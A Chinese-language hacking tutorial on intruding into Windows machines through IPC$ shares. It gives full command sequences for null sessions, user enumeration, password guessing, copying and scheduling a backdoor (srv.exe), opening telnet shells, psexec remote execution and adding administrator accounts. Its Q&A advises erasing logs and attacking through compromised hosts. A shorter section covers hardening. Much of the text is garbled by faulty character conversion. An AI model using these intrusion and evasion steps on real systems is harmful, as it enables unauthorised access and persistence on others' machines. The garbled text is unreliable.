使用命令 net use url=file://\\IP\ipc$\\IP\ipc$ "" /user:"" 就能够简单地和目标创建一个空链接(须要目标开放ipc$)。ios
1.基本简介
网上关于 ipc$ 入侵的文章可谓多如牛毛,攻击步骤甚至已经成了固化的模式,所以也没人愿意再把这已经成为定式的东西拿出来摆弄。不过话虽这样说,我认为这些文章讲解的并不详细,一些内容甚至是错误的,以至对 ipc$ 的提问几乎占了各大安全论坛讨论区的半壁江山,并且这些问题经常都是重复的,严重影响了论坛质量和学习效率,所以我总结了这篇文章,但愿能把 ipc$ 这部分东西尽可能说清楚。
注意:本文所讨论的各类状况均默认发生在 win NT/2000/XP/win 7 环境下, win98 将不在这次讨论之列。
空链接就是不用密码和用户名的IPC链接,在Windows 下,它是用 Net 命令来实现的. 进入空链接 net use \\IP地址"密码" /user:"用户名" 禁止空链接 开始-设置-控制面板-管理工具-服务 ,在服务中中止掉 server的服务就能够了。
功能
IPC$(Internet Process Connection) 是共享 " 命名管道 " 的资源,它是为了让进程间通讯而开放的命名管道,经过提供可信任的用户名和口令,链接双方能够创建安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。 IPC$ 是 NT/2000 的一项新功能,它有一个特色,即在同一时间内,两个 IP 之间只容许创建一个链接。 NT/2000 在提供了 ipc$ 功能的同时,在初次安装系统时还打开了默认共享,即全部的逻辑共享 (c$,d$,e$ …… ) 和系统目录 winnt 或 windows(admin$) 共享。全部的这些,微软的初衷都是为了方便管理员的管理,但在有意无心中,致使了系统安全性的下降。
其余
平时咱们总能听到有人在说 ipc$ 漏洞, ipc$ 漏洞,其实 ipc$ 并非一个真正意义上的漏洞 , 我想之因此有人这么说,必定是指微软本身安置的那个‘后门':空会话( Null session )。那么什么是空会话呢?
2.空会话
创建
在介绍空会话以前,咱们有必要了解一下一个安全会话是如何创建的。
在 Windows NT 4.0 中是使用挑战响应协议与远程机器创建一个会话的,创建成功的会话将成为一个安全隧道,创建双方经过它互通讯息,这个过程的大体顺序以下:
1 )会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的创建;
2 )服务器产生一个随机的 64 位数(实现挑战)传送回客户;
3 )客户取得这个由服务器产生的 64 位数,用试图创建会话的账号的口令打乱它,将结果返回到服务器(实现响应);
4 )服务器接受响应后发送给本地安全验证( LSA ), LSA 经过使用该用户正确的口令来核实响应以便确认请求者身份。若是请求者的账号是服务器的本地账号,核实本地发生;若是请求的账号是一个域的账号,响应传送到域控制器去核实。当对挑战的响应核实为正确后,一个访问令牌产生,而后传送给客户。客户使用这个访问令牌链接到服务器上的资源直到创建的会话被终止。
以上是一个安全会话创建的大体过程,那么空会话又如何呢?
空会话是在没有信任的状况下与服务器创建的会话(即未提供用户名与密码),但根据 WIN2000 的访问控制模型,空会话的创建一样须要提供一个令牌,但是空会话在创建过程当中并无通过用户信息的认证,因此这个令牌中不包含用户信息,所以,这个会话不能让系统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符SID (它标识了用户和所属组),对于一个空会话, LSA 提供的令牌的 SID 是 S- 1-5-7 ,这就是空会话的 SID ,用户名是: ANONYMOUS LOGON (这个用户名是能够在用户列表中看到的,可是是不能在 SAM 数据库中找到,属于系统内置的账号),这个访问令牌包含下面假装的组:
Everyone
Network
在安全策略的限制下,这个空会话将被受权访问到上面两个组有权访问到的一切信息。那么创建空会话到底能够做什么呢?
应用
对于 NT ,在默认安全设置下,借助空链接能够列举目标主机上的用户和共享,访问 everyone 权限的共享,访问小部分注册表等,并无什么太大的利用价值;对 2000 做用更小,由于在 Windows 2000 和之后版本中默认只有管理员和备份操做员有权从网络访问到注册表,并且实现起来也不方便,需借助工具。
从这些咱们能够看到,这种非信任会话并无多大的用处,但从一次完整的 ipc$ 入侵来看,空会话是一个不可缺乏的跳板,由于咱们从它那里能够获得户列表,而大多数弱口令扫描工具就是利用这个用户列表来进行口令猜解的,成功的导出用户列表大大增长了猜解的成功率,仅从这一点,足以说明空会话所带来的安全隐患,所以说空会话毫无用处的说法是不正确的。如下是空会话中可以使用的一些具体命令:
1 首先,咱们先创建一个空会话(固然,这须要目标开放 ipc$ )
命令: net use\\ip\ipc$"" /user:"" (注:前边引号“”内为空密码,后边user:""引号中为空用户名)
注意:上面的命令包括四个空格, net 与 use 中间有一个空格, use 后面一个,密码左右各一个空格。
2 查看远程主机的共享资源
命令: net view\\ip
解释:前提是创建了空链接后,用此命令能够查看远程主机的共享资源,若是它开了共享,能够获得以下面的结果,但此命令不能显示默认共享。
在 \\*.*.*.* 的共享资源
资源共享名 类型 用途 注释
-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。
3 查看远程主机的当前时间
命令: net time\\ip
解释:用此命令能够获得一个远程主机的当前时间。
4 获得远程主机的 NetBIOS 用户名列表(须要打开本身的 NBT )
命令: nbtstat -A ip
用此命令能够获得一个远程主机的 NetBIOS 用户名列表,返回以下结果:
Node IpAddress: [*.*.*.*] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H < 1C > GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services < 1C > GROUP Registered
IS~SERVER......<00> UNIQUE Registered
MAC Address = 00-50-8B -9A -2D-37
以上就是咱们常用空会话作的事情,好像也能得到很多东西哟,不过要注意一点:创建 IPC$ 链接的操做会在 Event Log 中留下记录,无论你是否登陆成功。 好了,那么接下来咱们就来看看 ipc$ 所使用的端口是什么?
3.关于操做
所用端口
首先咱们来了解一些基础知识:
1 SMB:(Server Message Block) Windows 协议族,用于文件打印共享的服务;
2 NBT:(NETBios Over TCP/IP) 使用 137 ( UDP ) 138 ( UDP ) 139 ( TCP )端口实现基于 TCP/IP 协议的 NETBIOS网络互联。
3 在 WindowsNT 中 SMB 基于 NBT 实现,即便用 139 ( TCP )端口;而在 Windows2000 中, SMB 除了基于 NBT 实现,还能够直接经过 445 端口实现。
有了这些基础知识,咱们就能够进一步来讨论访问网络共享对端口的选择了:
对于 win2000客户端(发起端)来讲:
1 若是在容许 NBT 的状况下链接服务器时,客户端会同时尝试访问 139 和 445 端口,若是 445 端口有响应,那么就发送 RST 包给 139 端口断开链接,用 455 端口进行会话,当 445 端口无响应时,才使用 139 端口,若是两个端口都没有响应,则会话失败;
2 若是在禁止 NBT 的状况下链接服务器时,那么客户端只会尝试访问 445 端口,若是 445 端口无响应,那么会话失败。
对于 win2000 服务器端来讲:
1 若是容许 NBT, 那么 UDP 端口 137, 138, TCP 端口 139, 445 将开放( LISTENING );
2 若是禁止 NBT ,那么只有 445 端口开放。
咱们创建的 ipc$ 会话对端口的选择一样遵照以上原则。显而易见,若是远程服务器没有监听 139 或 445 端口, ipc$ 会话是没法创建的。
失败缘由
如下是一些常见的致使 ipc$ 链接失败的缘由:
1 IPC 链接是 Windows NT 及以上系统中特有的功能,因为其须要用到 Windows NT 中不少 DLL 函数,因此不能在 Windows 9.x/Me 系统中运行,也就是说只有 nt/2000/xp 才能够相互创建 ipc$ 链接, 98/me 是不能创建 ipc$ 链接的;
2 若是想成功的创建一个 ipc$ 链接,就须要响应方开启 ipc$ 共享,即便是空链接也是这样,若是响应方关闭了 ipc$ 共享,将不能创建链接;
3 链接发起方未启动 Lanmanworkstation 服务(显示名为: Workstation ):它提供网络链结和通信,没有它发起方没法发起链接请求;
4 响应方未启动 Lanmanserver 服务(显示名为: Server ):它提供了 RPC 支持、文件、打印以及命名管道共享, ipc$ 依赖于此服务,没有它主机将没法响应发起方的链接请求,不过没有它仍可发起 ipc$ 链接;
5 响应方未启动 NetLogon ,它支持网络上计算机 pass-through 账户登陆身份(不过这种状况好像很少);
6 响应方的 139 , 445 端口未处于监听状态或被防火墙屏蔽;
7 链接发起方未打开 139 , 445 端口;
8 用户名或者密码错误:若是发生这样的错误,系统将给你相似于 ' 没法更新密码 ' 这样的错误提示(显然空会话排除这种错误);
9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号能够省略,若是密码为空,能够直接输入两个引号 "" 便可;
10 若是在已经创建好链接的状况下对方重启计算机,那么 ipc$ 链接将会自动断开,须要从新创建链接。
另外 , 你也能够根据返回的错误号分析缘由:
错误号 5 ,拒绝访问:极可能你使用的用户不是管理员权限的;
错误号 51 , Windows 没法找到网络路径:网络有问题;
错误号 53 ,找不到网络路径: ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤);
错误号 67 ,找不到网络名:你的 lanmanworkstation 服务未启动或者目标删除了 ipc$ ;
错误号 1219 ,提供的凭据与已存在的凭据集冲突:你已经和对方创建了一个 ipc$ ,请删除再连;
错误号 1326 ,未知的用户名或错误密码:缘由很明显了;
错误号 1792 ,试图登陆,可是网络登陆服务没有启动:目标 NetLogon 服务未启动;
错误号 2242 ,此用户的密码已通过期:目标有账号策略,强制按期要求更改密码。
复制文件
有些朋友虽然成功的创建了 ipc$ 链接,但在 copy 时却遇到了这样那样的麻烦,没法复制成功,那么致使复制失败的常见缘由又有哪些呢?
1. 对方未开启共享文件夹
这类错误出现的最多,占到 50% 以上。许多朋友在 ipc$ 链接创建成功后,甚至都不知道对方是否有共享文件夹,就进行盲目复制,结果致使复制失败并且郁闷的很。所以我建议你们在进行复制以前务必用 net view\\IP这个命令看一下你想要复制的共享文件夹是否存在(用软件查看固然更好),不要认为能创建 ipc$ 链接就必定有共享文件夹存在。
2. 向
默认共享
复制失败
这类错误也是你们常常犯的,主要有两个小方面:
1)错误的认为能创建 ipc$ 链接的主机就必定开启了默认共享,于是在创建完链接以后立刻向 c$,d$,admin$ 之类的默认共享复制文件,一旦对方未开启默认共享,将致使复制失败。 ipc$ 链接成功只能说明对方打开了 ipc$ 共享,并不能说明默认共享必定存在。 ipc$ 共享与默认共享是 两码 事, ipc$ 共享是一个命名管道,并非哪一个实际的文件夹,而默认共享倒是实实在在的共享文件夹;
2)因为 net view\\IP这个命令没法显示默认共享文件夹(由于默认共享带 $ ),所以经过这个命令,咱们并不能判断对方是否开启了默认共享,所以若是对方未开启默认共享,那么全部向默认共享进行的操做都不能成功;(不过大部分扫描软件在扫弱口令的同时,都能扫到默认共享目录,能够避免此类错误的发生)
要点:请你们必定区分 ipc 共享,默认共享,普通共享这三者的区别: ipc 共享是一个管道,并非实际的共享文件夹;默认共享是安装时默认打开的文件夹;普通共享是咱们本身开启的能够设置权限的共享文件夹。
3. 用户权限不够,包括四种情形:
1 )空链接向全部共享(默认共享和普通共享)复制时,权限是不够的;
2 )向默认共享复制时,在 Win2000 Pro 版中,只有 Administrators 和 Backup Operators 组成员才能够,在 Win2000 Server 版本 Server Operatros 组也能够访问到这些共享目录;
3 )向普通共享复制时,要具备相应权限(即对方管理员事先设定的访问权限);
4 )对方能够经过防火墙或安全软件的设置,禁止外部访问共享;
注意:
A. 不要认为 administrator 就必定具备管理员权限,管理员名称是能够改的
B. 管理员能够访问默认共享的文件夹,但不必定可以访问普通的共享文件夹,由于管理员能够对普通的共享文件夹进行访问权限设置,管理员为 D 盘设置的访问权限为仅容许名为 xinxin 的用户对该文件夹进行彻底访问,那么此时即便你拥有管理员权限,你仍然不能访问 D 盘。不过有意思的是,若是此时对方又开启了 D$ 的默认共享,那么你却能够访问 D$ ,从而绕过了权限限制,有兴趣的朋友能够本身作测试。
4. 被
防火墙
杀死或在局域网
还有一种状况,那就是也许你的复制操做已经成功,但当远程运行时,被防火墙杀掉了,致使找不到文件;或者你把木马复制到了局域网内的主机,致使链接失败(反向链接的木马不会发生这种状况)。若是你没有想到这种状况,你会觉得是复制上出了问题,但实际你的复制操做已经成功了,只是运行时出了问题。
命令限制
原本还想说一下用 at 远程运行程序失败的缘由,但考虑到 at 的成功率不是很高,问题也不少,在这里就不提它了(提的越多,用的人就越多),而是推荐你们用 psexec.exe 远程运行程序,假设想要远程机器执行本地 c:\xinxin.exe 文件,且管理员为 administrator ,密码为 1234 ,那么输入下面的命令:
psexec\\ip-u administrator -p 1234 -c c:\xinxin.exe
若是已经创建 ipc 链接,则 -u -p 这两个参数不须要, psexec.exe 将自动拷贝文件到远程机器并运行。
原本 xp 中的 ipc$ 也不想在这里讨论,想单独拿出来讨论,但看到愈来愈多的朋友很急切的提问为何遇到 xp 的时候,大部分操做都很难成功。我在这里就简单提一下吧,在 xp 的默认安全选项中,任何远程访问仅被赋予来宾权限,也就是说即便你是用管理员账户和密码,你所获得的权限也只是 Guest ,所以大部分操做都会由于权限不够而失败,并且到目前为止并无一个好的办法来突破这一限制。因此若是你真的获得了 xp 的管理员密码,我建议你尽可能避开 ipc 管道。
共享
目标的 ipc$ 不是轻易就能打开的,不然就要天下打乱了。你须要一个 admin 权限的 shell ,好比 telnet ,木马, cmd 重定向等,而后在 shell 下执行:
net share ipc$
开放目标的 ipc$ 共享;
net share ipc$ /del
关闭目标的 ipc$ 共享;若是你要给它开共享文件夹,你能够用:
net share xinxin=c:\
这样就把它的 c 盘开为共享名为 xinxin共享文件夹了。(但是我发现不少人错误的认为开共享文件夹的命令是 net share c$ ,还大模大样的给菜鸟指指点点,真是误人子弟了)。再次声明,这些操做都是在 shell 下才能实现的。
完成命令
看到不少教程这方面写的十分不许确,一些须要 shell 才能完成命令就简简单单的在 ipc$ 链接下执行了,起了误导做用。那么下面我总结一下须要在 shell 才能完成的命令:
1 向远程主机创建用户,激活用户,修改用户密码,加入管理组的操做须要在 shell 下完成;
2 打开远程主机的 ipc$ 共享,默认共享,普通共享的操做须要在 shell 下完成;
3 运行 / 关闭远程主机的服务,须要在 shell 下完成;
4 启动 / 杀掉远程主机的进程,也须要在 shell 下完成(用软件的状况下除外,如 pskill )。
入侵中可能会用到的
命令
为了这份教程的完整性,我列出了 ipc$ 入侵中的一些经常使用命令,若是你已经掌握了这些命令,你能够跳过这一部分看下面的内容。请注意这些命令是适用于本地仍是远程,若是只适用于本地,你只能在得到远程主机的 shell (如 cmd , telnet 等)后,才能向远程主机执行。
1 创建 / 删除 ipc$ 链接的命令
1 )创建空链接 :
net use\\127.0.0.1\ipc$"" /user:""
2 )创建非空链接 :
net use\\127.0.0.1\ipc$" 密码 " /user:" 用户名 "
3 )删除链接 :
net use\\127.0.0.1\ipc$/del
2 在 ipc$ 链接中对远程主机的操做命令
1 ) 查看远程主机的共享资源(看不到默认共享) :
net view\\127.0.0.1
2 ) 查看远程主机的当前时间 :
net time\\127.0.0.1
3 ) 获得远程主机的 netbios 用户名列表 :
nbtstat -A 127.0.0.1
4 )映射 / 删除远程共享 :
net use z:\\127.0.0.1\c
此命令将共享名为 c 的共享资源映射为本地 z 盘
net use z: /del
删除映射的 z 盘,其余盘类推
5 )向远程主机复制文件 :
copy路径\ 文件名\\IP\共享目录名,如:
copy c:\xinxin.exe\\127.0.0.1\c$即将 c 盘下的 xinxin.exe 复制到对方 c 盘内
固然,你也能够把远程主机上的文件复制到本身的机器里:
copy\\127.0.0.1\c$\xinxin.exec:\
6 )远程添加计划任务 :
at\\IP时间 程序名 如:
at\\127.0.0.011:00 xinxin.exe
注意:时间尽可能使用 24 小时制;若是你打算运行的程序在系统默认搜索路径(好比 system32/ )下则不用加路径,不然必须加全路径
3 本地命令
1 )查看本地主机的共享资源(能够看到本地的默认共享)
net share
2 )获得本地主机的用户列表
net user
3 )显示本地某用户的账户信息
net user账户名
4 )显示本地主机当前启动的服务
net start
5 )启动 / 关闭本地服务
net start 服务名
net stop 服务名
6 )在本地添加账户
net user账户名密码 /add
7 )激活禁用的用户
net uesr账户名/active:yes
8 )加入管理员组
net localgroup administrators账户名/add
很显然的是,虽然这些都是本地命令,但若是你在远程主机的 shell 中输入,好比你 telnet 成功后输入上面这些命令,那么这些本地输入将做用在远程主机上。
4 其余一些命令
1 ) telnet
telnet IP 端口
telnet 127.0.0.0 23
2 )用 opentelnet.exe 开启远程主机的 telnet
OpenTelnet.exe\\ip管理员账号 密码 NTLM 的认证方式 port
OpenTelnet.exe\\127.0.0.1administrator "" 1 90
不过这个小工具须要知足四个要求:
1 )目标开启了 ipc$ 共享
2 )你要拥有管理员密码和账号
3 )目标开启 RemoteRegistry 服务,用户就能够更改 ntlm 认证
4 )对仅 WIN2K/XP 有效
3 )用 psexec.exe 一步得到 shell ,须要 ipc 管道支持
psexec.exe\\IP-u 管理员账号 -p 密码 cmd
psexec.exe\\127.0.0.1-u administrator -p "" cmd
对比过去和现今的 ipc$ 入侵
既然是对比,那么我就先把过去的 ipc$ 入侵步骤写给你们,都是蛮经典的步骤:
[1]
C:\>net use\\127.0.0.1\ipc$"" /user:admintitrators
\\ 用扫到的空口令创建链接
[2]
c:\>net view\\127.0.0.1
\\ 查看远程的共享资源
[3]
C:\>copy srv.exe\\127.0.0.1\admin$\system32
\\ 将一次性后门 srv.exe 复制到对方的系统文件夹下,前提是 admin$ 开启
[4]
C:\>net time\\127.0.0.1
\\ 查看远程主机的当前时间
[5]
C:\>at\\127.0.0.1时间 srv.exe
\\ 用 at 命令远程运行 srv.exe ,须要对方开启了 'Task Scheduler' 服务
[6]
C:\>net time\\127.0.0.1
\\ 再次查看当前时间来估算 srv.exe 是否已经运行,此步能够省略
[7]
C:\>telnet 127.0.0.1 99
\\ 开一个新窗口,用 telnet远程登录到 127.0.0.1 从而得到一个 shell( 不懂 shell 是什么意思?那你就把它想象成远程机器的控制权就行了,操做像 DOS) , 99 端口是 srv.exe 开的一次性后门的端口
[8]
C:\WINNT\system32>net start telnet
\\ 咱们在刚刚登录上的 shell 中启动远程机器的 telnet 服务,毕竟 srv.exe 是一次性的后门,咱们须要一个长久的后门便于之后访问,若是对方的 telnet 已经启动,此步可省略
[9]
C:\>copy ntlm.exe\\127.0.0.1\admin$\system32
\\ 在原来那个窗口中将 ntlm.exe 传过去, ntlm.exe 是用来更改 telnet身份验证的
[10]
C:\WINNT\system32>ntlm.exe
\\ 在 shell 窗口中运行 ntlm.exe ,之后你就能够畅通无阻的 telnet 这台主机了
[11]
C:\>telnet 127.0.0.1 23
\\ 在新窗口中 telnet 到 127.0.0.1 ,端口 23 可省略,这样咱们又得到一个长期的后门
[12]
C:\WINNT\system32>net user 账户名 密码 /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 账户名 /add
\\telnet上之后,你能够创建新账户,激活 guest ,把任何账户加入管理员组等
好了,写到这里我彷佛回到了 2 , 3 年前,那时的 ipc$ 你们都是这么用的,不过随着新工具的出现,上面提到的一些工具和命令已经不经常使用到了,那就让咱们看看高效而简单的 ipc$ 入侵吧。
[1] psexec.exe\\IP-u 管理员账号 -p 密码 cmd
\\ 用这个工具咱们能够一步到位的得到 shell
OpenTelnet.exe\\server管理员账号 密码 NTLM 的认证方式 port
\\ 用它能够方便的更改 telnet 的验证方式和端口,方便咱们登录
[2] 已经没有第二步了,用一步得到 shell 以后,你作什么均可以了,安后门能够用 winshell ,克隆就用 ca 吧,开终端用 3389.vbe ,记录密码用 win2kpass ,总之好的工具很多,随你选了,我就很少说了。
防范入侵
1 禁止空链接进行枚举 ( 此操做并不能阻止空链接的创建 )
运行 regedit ,找到以下主键 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] 把 RestrictAnonymous = DWORD 的键值改成: 1
若是设置为 "1" ,一个匿名用户仍然能够链接到 IPC$ 共享,但没法经过这种链接获得列举 SAM 账号和共享信息的权限;在 Windows 2000 中增长了 "2" ,未取得匿名权的用户将不能进行 ipc$ 空链接。建议设置为 1 。若是上面所说的主键不存在,就新建一个再改键值。若是你以为改注册表麻烦,能够在本地安全设置中设置此项: 在本地安全设置-本地策略-安全选项- ' 对匿名链接的额外限制 '
2 禁止默认共享
1 )察看本地共享资源
运行 -cmd- 输入 net share
2 )删除共享(重起后默认共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete (若是有 e,f, ……能够继续删除)
3 )中止 server 服务
net stop server /y (从新启动后 server 服务会从新开启)
4 )禁止自动打开默认共享(此操做并不能关闭 ipc$ 共享)
运行 -regedit
server 版与pro 版 : 找到以下主键 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] 把 AutoShareServer ( DWORD )的键值改成 :00000000 。
这两个键值在默认状况下在主机上是不存在的,须要本身手动添加,修改后重起机器使设置生效。
3 关闭 ipc$ 和默认共享依赖的服务 :server 服务
若是你真的想关闭 ipc$ 共享,那就禁止 server 服务吧:
控制面板- 管理工具 - 服务 - 找到 server 服务(右击) - 属性 - 常规 - 启动类型 - 选已禁用,这时可能会有提示说: XXX 服务也会关闭是否继续,由于还有些次要的服务要依赖于 server 服务,不要管它。
4 屏蔽 139 , 445 端口
因为没有以上两个端口的支持,是没法创建 ipc$ 的,所以屏蔽 139 , 445 端口一样能够阻止 ipc$ 入侵。
1 ) 139 端口能够经过禁止 NBT 来屏蔽
本地链接- TCP/IT 属性-高级- WINS -选‘禁用 TCP/IT 上的 NETBIOS '一项
2 ) 445 端口能够经过修改注册表来屏蔽
添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
value: 0
修改完后重启机器
注意:若是屏蔽掉了以上两个端口,你将没法用 ipc$ 入侵别人。
3 )安装防火墙进行端口过滤
6 设置复杂密码,防止经过 ipc$ 穷举出密码,我以为这才是最好的办法,加强安全意识,比不停的打补丁要安全的多。
4.管道
ipc 管道原本是微软为了方便管理员进行远程管理而设计的,但在入侵者看来,开放 ipc 管道的主机彷佛更容易得手。经过 ipc 管道,咱们能够远程调用一些系统函数(大多经过工具实现,但须要相应的权限),这每每是入侵成败的关键。若是不考虑这些,仅从传送文件这一方面, ipc 管道已经给了入侵者莫大的支持,甚至已经成为了最重要的传输手段,所以你总能在各大论坛上看到一些朋友由于打不开目标机器的 ipc 管道而束手无策大呼救命。固然,咱们也不能忽视权限在 ipc 管道中扮演的重要角色,想必你必定品尝过空会话的尴尬,没有权限,开启管道咱们也迫不得已。但入侵者一旦得到了管理员的权限,那么 ipc 管道这把双刃剑将显示出它狰狞的一面。
5.问答精选
上面说了一大堆的理论东西,但在实际中你会遇到各类各样的问题,所以为了给予你们最大的帮助,我整理了各大安全论坛中一些有表明性的问答,其中的一些答案是我给出的,一些是论坛上的回复,若是有什么疑问,能够来找我讨论。
1. 进行 ipc$ 入侵的时候,会在服务器中留下记录,有什么办法能够不让服务器发现吗?
答:留下记录是必定的,你走后用清除日志程序删除就能够了,或者用肉鸡入侵。
2. 你看下面的状况是为何,能够链接但不能复制
net use\\***.***.***.***\ipc$" 密码 " /user:" 用户名 "
命令成功
copy icmd.exe\\***.***.***.***\admin$
找不到网络路径
命令不成功
答:像“找不到网络路径”“找不到网络名”之类的问题,大可能是由于你想要复制到的共享文件夹没有开启,因此在复制的时候会出现错误,你能够试着找找其余的共享文件夹。
3. 若是对方开了 IPC$ ,且能创建空联接,但打开 C 、 D 盘时,都要求密码,我知道是空链接没有太多的权限,但没别的办法了吗?
答:建议先用流光或者别的什么扫描软件试着猜解一下密码,若是猜不出来,只能放弃,毕竟空链接的能力有限。
4. 我已经猜解到了管理员的密码,且已经 ipc$ 链接成功了,但 net view\\ip发现它没开默认共享,我该怎么办?
答:首先纠正你的一个错误,用 net view\\ip是没法看到默认共享的,你能够试着将文件复制到 c$ , d$ 看看,若是都不行,说明他关闭了默认共享,那你就用 opentelnet.exe 或 psexec.exe 吧,用法上面有。
5.ipc$ 链接成功后,我用下面的命令创建了一个账户,却发现这个账户在我本身的机器上,这是怎么回事?
net uset ccbirds /add
答: ipc$ 创建成功只能说明你与远程主机创建了通讯隧道,并不意味你取得了一个 shell ,只有在得到一个 shell (好比 telnet )以后,你才能在远程机器创建一个账户,不然你的操做只是在本地进行。
6. 我已进入了一台肉机,用的管理员账号,能够看他的系统时间,可是复制程序到他的机子上却不行,每次都提示“拒绝访问,已复制 0 个文件”,是否是对方有什么服务没开,我该怎么办?
答:通常来讲“拒绝访问”都是权限不够的结果,多是你用的账户有问题,还有一种可能,若是你想向普通共享文件夹复制文件却返回这个错误,说明这个文件夹设置的容许访问用户中不包括你(哪怕你是管理员),这一点我在上一期文章中分析了。
7. 我用 Win98 能与对方创建 ipc$ 链接吗?
答:理论上不能够,要进行 ipc$ 的操做,建议用 win2000 ,用其余操做系统会带来许多没必要要的麻烦。
8. 我用 net use\\ip\ipc$"" /user "" 成功的创建了一个空会话,但用 nbtstat -A IP 却没法导出用户列表,这是为何?
答:空会话在默认的状况下是能够导出用户列表的,但若是管理员经过修改注册表来禁止导出列表,就会出现你所说的状况;还有多是你本身的 NBT 没有打开, netstat 命令是创建在 NBT 之上的。
9. 我创建 ipc$ 链接的时候返回以下信息:‘提供的凭据与已存在的凭据集冲突',怎么回事?
答:呵呵,这说明你已经与目标主机创建了 ipc$ 链接,两个主机间同时创建两个 ipc$ 链接是不容许的。
10. 我在映射的时候出现:
F:\>net use h:\\211.161.134.*\e$
系统发生 85 错误。
本地设备名已在使用中。这是怎么回事?
答:你也太粗心了吧,这说明你有一个 h 盘了,映射到没有的盘符吧!
11. 我创建了一个链接 f:\>net use\\*.*.*.*\ipc$"123" /user:"guest" 成功了,但当我映射时出现了错误,向我要密码,怎么回事?
F:\>net use h:\\*.*.*.*\c$
密码在\\*.*.*.*\c$无效。
请键入\\*.*.*.*\c$的密码 :
系统发生 5 错误。
拒绝访问。
答:呵呵,向你要密码说明你当前使用的用户权限不够,不能映射 C$ 这个默认共享,想办法提高权限或者找管理员的弱口令吧!默认共享通常是须要管理员权限的。
12. 我用superscan扫到了一个开了 139 端口的主机,但为何不能空链接呢?
答:你混淆了 ipc$ 与 139 的关系,能进行 ipc$ 链接的主机必定开了 139 或 445 端口,但开这两个端口的主机可不必定能空链接,由于对方能够关闭 ipc$ 共享 .
13. 咱们局域网里的机器大多都是 xp ,我用流光扫描到几个 administrator 账号口令是空,并且能够链接,但不能复制东西,说错误 5 。请问为何?
答: xp 的安全性要高一些,在安全策略的默认设置中,对本地账户的网络登陆进行身份验证的时候,默认为来宾权限,即便你用管理员远程登陆,也只具备来宾权限,所以你复制文件,固然是错误 5 :权限不够。
14. 我用 net use\\192.168.0.2\ipc$"password" /user:"administrator" 成功,但是 net use i:\\192.168.0.2\c
出现请键入\\192.168.0.2的密码,怎么回事情呢?我用的但是管理员呀?应该什么均可以访问呀?
答:虽然你具备管理员权限,但管理员在设置 c 盘共享权限时(注意:普通共享能够设置访问权限,而默认共享则不能)可能并未设置容许 administrator 访问,因此会出现上述问题。
15. 若是本身的机器禁止了 ipc$, 是否是还能够用 ipc$ 链接别的机器?若是禁止 server 服务呢?
答:禁止以上两项仍能够发起 ipc$ 链接,不过这种问题本身动手试验会更好。
16. 能告诉我下面的两个错误产生的缘由吗?
c:\>net time\\61.225.*.*
系统发生 5 错误。
拒绝访问。
c:\>net view\\61.225.*.*
系统发生 5 错误。
拒绝访问。
答:起初遇到这个问题的时候我也很纳闷,错误 5 表示权限不够,但是连空会话的权限均可以完成上面的两个命令,他为何不行呢?难道是他没创建链接?后来那个粗心的同志告诉个人确是这样,他忘记了本身已经删了 ipc$ 链接,以后他又输入了上面那两个命令,随之发生了错误 5 。
17. 您看看这是怎么回事?
F:\>net time
找不到时间服务器。
请键入 NET HELPMSG 3912 以得到更多的帮助。
答:答案很简单,你的命令错了,应该是 net time\\ip
没输入 ip 地址,固然找不到服务器。 view 的命令也应该有 ip 地址,即: net view\\ip